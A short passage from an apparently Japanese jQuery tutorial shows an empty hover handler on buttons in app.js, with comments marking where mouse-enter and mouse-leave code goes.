```javascript:app.js
$('button').hover(
    function() {
 
        //マウスカーソルが重なった時の処理
 
    },
    function() {
 
        //マウスカーソルが離れた時の処理
 
    }
);
```

のように記述します。

以上です。